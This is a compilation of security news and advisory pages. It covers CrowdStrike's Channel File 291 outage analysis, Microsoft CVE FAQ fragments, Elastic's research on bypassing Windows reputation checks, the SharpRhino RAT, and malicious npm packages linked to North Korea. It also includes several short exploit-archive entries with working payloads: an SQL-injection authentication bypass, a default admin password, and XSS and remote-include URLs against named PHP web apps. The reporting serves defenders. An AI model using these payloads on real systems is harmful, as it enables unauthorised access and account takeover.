Cybersecurity company CrowdStrike has published its root cause analysis detailing the Falcon Sensor software update crash that crippled millions of Windows devices globally.
The "Channel File 291" incident, as originally highlighted in its Preliminary Post Incident Review (PIR), has been traced back to a content validation issue that arose after it introduced a new Template Type to enable

Cybersecurity / Incident Response

Cybersecurity company CrowdStrike has published its root cause analysis detailing the Falcon Sensor software update crash that crippled millions of Windows devices globally.

The "Channel File 291" incident, as originally highlighted in its Preliminary Post Incident Review (PIR), has been traced back to a content validation issue that arose after it introduced a new Template Type to enable visibility into and detection of novel attack techniques that abuse named pipes and other Windows interprocess communication (IPC) mechanisms.

Specifically, it's related to a problematic content update deployed over the cloud, describing it as a "confluence" of several problems that led to a crash: A mismatch between the 21 inputs passed to the Content Validator via the IPC Template Type as opposed to the 20 supplied to the Content Interpreter.

CrowdStrike said the parameter mismatch was not discovered during "multiple layers" of the testing process, in part due to the use of wildcard matching criteria for the 21st input during testing and in the initial IPC Template Instances that were delivered between March and April 2024.

In other words, the new version of Channel File 291 pushed on July 19, 2024, was the first IPC Template Instance to make use of the 21st input parameter field. The lack of a specific test case for non-wildcard matching criteria in the 21st field meant that this was not flagged until after the Rapid Response Content was shipped to the sensors.

"Sensors that received the new version of Channel File 291 carrying the problematic content were exposed to a latent out-of-bounds read issue in the Content Interpreter," the company said.

"At the next IPC notification from the operating system, the new IPC Template Instances were evaluated, specifying a comparison against the 21st input value. The Content Interpreter expected only 20 values. Therefore, the attempt to access the 21st value produced an out-of-bounds memory read beyond the end of the input data array and resulted in a system crash."

Besides validating the number of input fields in the Template Type at sensor compile time to address the issue, CrowdStrike said it also added runtime input array bounds checks to the Content Interpreter to prevent out-of-bounds memory reads and corrected the number of inputs provided by the IPC Template Type.

"The added bounds check prevents the Content Interpreter from performing an out-of-bounds access of the input array and crashing the system," it noted. "The additional check adds an extra layer of runtime validation that the size of the input array matches the number of inputs expected by the Rapid Response Content."

On top of that, CrowdStrike said it plans to increase test coverage during Template Type development to include test cases for non-wildcard matching criteria for each field in all (future) Template Types.

Some of the sensor updates are also expected to resolve the following gaps -

*   The Content Validator is being modified to add new checks to ensure that content in Template Instances does not include matching criteria that match over more fields than are being provided as input to the Content Interpreter

*   The Content Validator is being modified to only allow wildcard matching criteria in the 21st field, which prevents the out-of-bounds access in the sensors that only provide 20 inputs

*   The Content Configuration System has been updated with new test procedures to ensure that every new Template Instance is tested, regardless of the fact that the initial Template Instance is tested with the Template Type at creation

*   The Content Configuration System has been updated with additional deployment layers and acceptance checks

*   The Falcon platform has been updated to provide customers with increased control over the delivery of Rapid Response Content

Last but not least, CrowdStrike said it has engaged two independent third-party software security vendors to conduct further review of the Falcon sensor code for both security and quality assurance. It's also carrying out an independent review of the end-to-end quality process from development through deployment.

It has further pledged to work with Microsoft as Windows introduces new ways to perform security functions in user space as opposed to relying on a kernel driver.

"CrowdStrike's kernel driver is loaded from an early phase of system boot to allow the sensor to observe and defend against malware that launches prior to user mode processes starting," it said.

"Providing up-to-date security content (e.g., CrowdStrike's Rapid Response Content) to these kernel capabilities enables the sensor to defend systems against a rapidly evolving threat landscape without making changes to kernel code. Rapid Response Content is configuration data; it is not code or a kernel driver."

The release of the root cause analysis comes as Delta Air Lines said it has "no choice" but to seek damages from CrowdStrike and Microsoft for causing massive disruptions and costing it an estimated $500 million in lost revenue and extra costs related to thousands of canceled flights.

Both CrowdStrike and Microsoft have since responded to the criticism, stating they are not to blame for the days-long outage and that Delta declined their offers for on-site assistance, indicating that the carrier's problems could run a lot deeper than its Windows machines going down as a result of the faulty security update.

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CrowdStrike Reveals Root Cause of Global System Outages

**What privileges could be gained by an attacker who successfully exploited this vulnerability?**

An attacker who successfully exploited this vulnerability could gain SYSTEM privileges.

CVE-2024-21302: Windows Secure Kernel Mode Elevation of Privilege Vulnerability

**According to the CVSS metric, privileges required is low (PR:L). What does that mean for this vulnerability?**

The attacker must have permissions to access the target's System directory to plant the malicious folder that would be used as part of the exploitation.

CVE-2024-38202: Windows Update Stack Elevation of Privilege Vulnerability

Protections like Windows Smart App Control are useful but susceptible to attacks that allow threat actors initial access to an environment without triggering any alerts.

Source: ozrimoz via Shutterstock

Reputation-based security controls may be less effective at protecting organizations against unsafe Web applications and content than many assume.

A new study by researchers at Elastic Security found attackers have developed several effective techniques over the past few years to bypass mechanisms that block or allow applications and content based on their reputation and trustworthiness.

**Multiple Available Techniques**

The techniques include using digitally signed malware tools to make them appear legit, as well as reputation hijacking, reputation tampering, and specially crafted LNK files. "Reputation-based protection systems are a powerful layer for blocking commodity malware," Elastic Security researcher Joe Desimone wrote in a report this week. "However, like any protection technique, they have weaknesses that can be bypassed with some care."

For the study, the researchers used Microsoft Windows Smart App Control (SAC) and SmartScreen technologies as examples of a reputation-based mechanism for which attackers have developed bypasses.

SmartScreen is a feature that Microsoft introduced with Windows 8 to protect users against malicious website applications and file downloads. It verifies whether files that have the Mark of the Web (MoTW) on them — or files that Windows tags as downloaded from the Internet — can be trusted. Smart App Control became available with Windows 11. It uses Microsoft's threat intelligence service to determine if an application is trustworthy enough to run or not. If the threat intelligence is unable to determine an app's trustworthiness, SAC verifies if the app is digitally signed before allowing it to run.

The researchers at Elastic Security discovered that attackers have multiple ways around these protections.

**LNK Stomping Around MoTW**

One common way that attackers have used as a way around Smart App Control is by signing their malware with an extended validation (EV) SSL certificate, Elastic Security said. Though certificate authorities require proof of identity before they issue an EV to a requesting entity, threat actors have found ways to address this requirement by impersonating legitimate businesses. In other instances, they have used specially crafted and invalid code signing signatures to JavaScript and MSI files to bypass MoTW checks. For the past six years at least, attackers have also abused a weakness in how Windows handles shortcut files (LNK) to essentially strip the MoTW from malicious LNK files and sneak them past SmartScreen said Elastic Security, which has dubbed the tactic "LNK Stomping."

Reputation hijacking — where an attacker exploits the good reputation of trusted applications, websites and other entities — is another tactic. Elastic Security found that attackers often target trusted script hosts — or programs that execute scripts — such as Lua, Node.js, and AutoHotkey for this type of attack. The bypass involves placing malicious content where the trusted script host will automatically find and execute it during its normal course. "Script hosts are an ideal target for a reputation hijacking attack. This is especially true if they include a foreign function interface (FFI) capability," Desimone wrote. "With FFI, attackers can easily load and execute arbitrary code and malware in memory."

Elastic Security also found attackers using a technique called reputation seeding to bypass reputation-based filtering mechanisms. For these attacks, threat actors first introduce their own seemingly benign binaries or executable files into a target system and wait for them to build up a positive reputation over time. Another variation is introducing a legit application with a known vulnerability to a target environment for later use. "Smart App Control appears vulnerable to seeding," Desimone said in his report. "After executing a sample on one machine, it received a good label after approximately 2 hours."

The security vendor recommends that organizations bolster their security by using behavior analysis tools to monitor for common attack tactics such as credential access, enumeration, in-memory evasion, persistence, and lateral movement.

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Attackers Use Multiple Techniques to Bypass Reputation-Based Security

The RaaS group that distributes Hive ransomware delivers new malware impersonating as validly signed network-administration software to gain initial access and persistence on targeted networks

Source: David Chapman via Alamy Stock Photo

An emerging threat group that's made a meteoric rise to the top of the ransomware food chain has a new tool in its arsenal with a novel remote access Trojan (RAT). The group is using the tool in attacks that appear to be targeting IT professionals.

Researchers from Quorum Cyber revealed in a recent blog post that Hunters International, active since last October, is deploying Hive ransomware. The group uses the new malware, dubbed SharpRhino, first to gain access to targeted infrastructure and then to establish persistence and allow attackers to maintain remote access to the device.

SharpRhino compromises systems disguised as the open source network-administration tool Angry IP Scanner through typosquatting domains. Because Angry IP Scanner is open source, attackers can abuse and misuse valid code-signing certificates to make it look like a network admin is downloading software that has a valid certificate but instead is installing the malware, according to the post.

Upon execution, SharpRhino establishes persistence and provides the attackers with remote access to the device, which they then use to launch a typical ransomware attack using Hive ransomware. Hunters International acquired the malware from its original owners, a group that disbanded after it was taken out by international law enforcement soon after its inception.

"Using previously unseen techniques, the malware is able to obtain a high level of permission on the device in order to ensure the attacker is able to further their targeting with minimal disruption," Quorum Cyber threat intelligence analyst Michael Forret wrote in the post.

**Evolution of a Ransomware Group**

SharpRhino demonstrates the progression of Hunters International, a group linked to Russia. In the first seven months of 2024, the group claimed responsibility for 134 attacks. It has quickly risen to ascendance as the 10th most active ransomware group in 2024 thanks to its possession of Hive.

Leveraging the ransomware, the group has positioned itself as a ransomware-as-a-service (RaaS) provider that works with less sophisticated actors to do much of its dirty work, allowing it to spread Hive more quickly. "Being a RaaS provider is highly likely a main cause for their fast rise to notoriety," Forret wrote.

Like many other ransomware operators, Hunters International exfiltrates data from victim organizations prior to encrypting files, then changes file extensions to .locked and leaves a README message guiding recipients to a chat portal on the Tor network for payment instructions.

"The encryptor itself exhibits a sophisticated design, coded in Rust, a programming language increasingly favoured by cybercriminals for its security features, efficiency, and resistance to reverse engineering," Forret wrote. "This tactic is in line with the evolution observed in the ransomware development, with notable examples including both Hive and BlackCat."

**Disguised as Legitimate Software**

The researchers analyzed a sample of SharpRhino that used a valid certificate signed by the J-Golden Strive Trading Co. Ltd. The file that delivered the malware was a Nullsoft Scriptable Installer System (NSIS)-packed executable, a common file that most compression tools like 7-Zip can understand and read, Forret observed.

The installer system establishes persistence by modifying the Run\\UpdateWindowsKey registry with the shortcut for Microsoft.AnyKey, and establishes two directories on the C:\\ProgramData\\Microsoft — called WindowsUpdater24 and another called LogUpdateWindows — to facilitate multiple channels to Hunters International's command and control (C2) as "a fallback mechanism," Forret noted.

"If the folder WindowsUpdater24 and its contents are discovered by a security engine or professional, there exists the possibility that the persistence mechanism will remain, and the device will remain infected,” he wrote.

Ultimately, SharpRhino's purpose in an attack is to give Hunters International persistence and control over a targeted system to "launch a sophisticated ransomware attack" for financial gain, which the group does without prioritizing any sector or region but instead by targeting "via opportunistic means," Forret wrote.

Qurom Cyber included a list of indicators of compromise for SharpRhino so organizations can identify if network administrators accidentally downloaded the RAT instead of the legitimate tool they believed to be deploying. It also provided Mitre ATT&CK Mapping for the RAT's defense and evasion, discovery, privilege escalation, execution, persistence, and C2 processes.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Hunters International Disguises SharpRhino RAT as Legitimate Network Admin Tool

Concert Ticket Reservation System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ======================================================================================================================================================| # Title     : Concert Ticket Reservation System v1.0 Auth By Pass Vulnerability                                                                    || # Author    : indoushka                                                                                                                            || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                                     || # Vendor    : https://download-media.code-projects.org/2020/04/Concert_Ticket_Ordering_System__IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip  |======================================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = ' or 0=0 ##[+] Panel : http://127.0.0.1/ConcertTicketReservationSystem-master/profile.phpGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Concert Ticket Reservation System 1.0 SQL Injection

Computer Laboratory Management System version 1.0 suffers from an ignored default credential vulnerability.

**Computer Laboratory Management System 1.0 Insecure Settings**

Posted Aug 6, 2024

Authored by indoushka

Computer Laboratory Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 903fb54e0bd8fb8efe43fdddb49a0f5abaa23ea96b8495e4f7c47b36636f9f0d

Download | Favorite | View

**Computer Laboratory Management System 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : Computer Laboratory Management System v1.0 Insecure Settings Vulnerability                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400      |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yorubanwitness000webhostappcom/admin/Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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Computer Laboratory Management System 1.0 Insecure Settings

Codeprojects E-Commerce version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Codeprojects E-Commerce v1.0 XSS Vulnerability                                                                              || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/?s=Ecommerce                                                                                      |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : admin/includes/profile_modal.php/"onmouseover%3d'prompt(938260)'bad%3d"[+] https://www/127.0.0.1/demo/comdept.cmru.ac.th/59143214/admin/includes/profile_modal.php/"onmouseover%3d'prompt(938260)'bad%3d"Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Codeprojects E-Commerce 1.0 Cross Site Scripting

Blog Site version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Blog Site 1.0 XSS Vulnerability                                                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/blog-site-using-php_0.zip                             |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : After LOgin index.php?id=&page=http://testaspvulnweb.com/t/xss.html%3f%2500.jpg[+] Panel : http://127.0.0.1/blog/admin/index.php?id=&page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Blog Site 1.0 Cross Site Scripting 

The North Korea-linked threat actor known as Moonstone Sleet has continued to push malicious npm packages to the JavaScript package registry with the aim of infecting Windows systems, underscoring the persistent nature of their campaigns.
The packages in question, harthat-api and harthat-hash, were published on July 7, 2024, according to Datadog Security Labs. Both the libraries did not attract

Malware / Windows Security

The North Korea-linked threat actor known as **Moonstone Sleet** has continued to push malicious npm packages to the JavaScript package registry with the aim of infecting Windows systems, underscoring the persistent nature of their campaigns.

The packages in question, harthat-api and harthat-hash, were published on July 7, 2024, according to Datadog Security Labs. Both the libraries did not attract any downloads and were shortly pulled after a short period of time.

The security arm of the cloud monitoring firm is tracking the threat actor under the name Stressed Pungsan, which exhibits overlaps with a newly discovered North Korean malicious activity cluster dubbed Moonstone Sleet.

"While the name resembles the Hardhat npm package (an Ethereum development utility), its content does not indicate any intention to typosquat it," Datadog researchers Sebastian Obregoso and Zack Allen said. "The malicious package reuses code from a well-known GitHub repository called node-config with over 6,000 stars and 500 forks, known in npm as config."

Attack chains orchestrated by the adversarial collective are known to disseminate bogus ZIP archive files via LinkedIn under a fake company name or freelancing websites, enticing prospective targets into executing payloads that invoke an npm package as part of a supposed technical skills assessment.

"When loaded, the malicious package used curl to connect to an actor-controlled IP and drop additional malicious payloads like SplitLoader," Microsoft noted in May 2024. "In another incident, Moonstone Sleet delivered a malicious npm loader which led to credential theft from LSASS."

Subsequent findings from Checkmarx uncovered that Moonstone Sleet has also been attempting to spread their packages through the npm registry.

The newly discovered packages are designed to run a pre-install script specified in the package.json file, which, in turn, checks if it's running on a Windows system ("Windows\_NT"), after which it contacts an external server ("142.111.77\[.\]196") to download a DLL file that's side loading using the rundll32.exe binary.

The rogue DLL, for its part, does not perform any malicious actions, suggesting either a trial run of its payload delivery infrastructure or that it was inadvertently pushed to the registry before embedding malicious code into it.

The development comes as South Korea's National Cyber Security Center (NCSC) warned of cyber attacks mounted by North Korean threat groups tracked as Andariel and Kimsuky to deliver malware families such as Dora RAT and TrollAgent (aka Troll Stealer) as part of intrusion campaigns aimed at construction and machinery sectors in the country.

The Dora RAT attack sequence is noteworthy for the fact that the Andariel hackers exploited vulnerabilities in a domestic VPN software's software update mechanism to propagate the malware.

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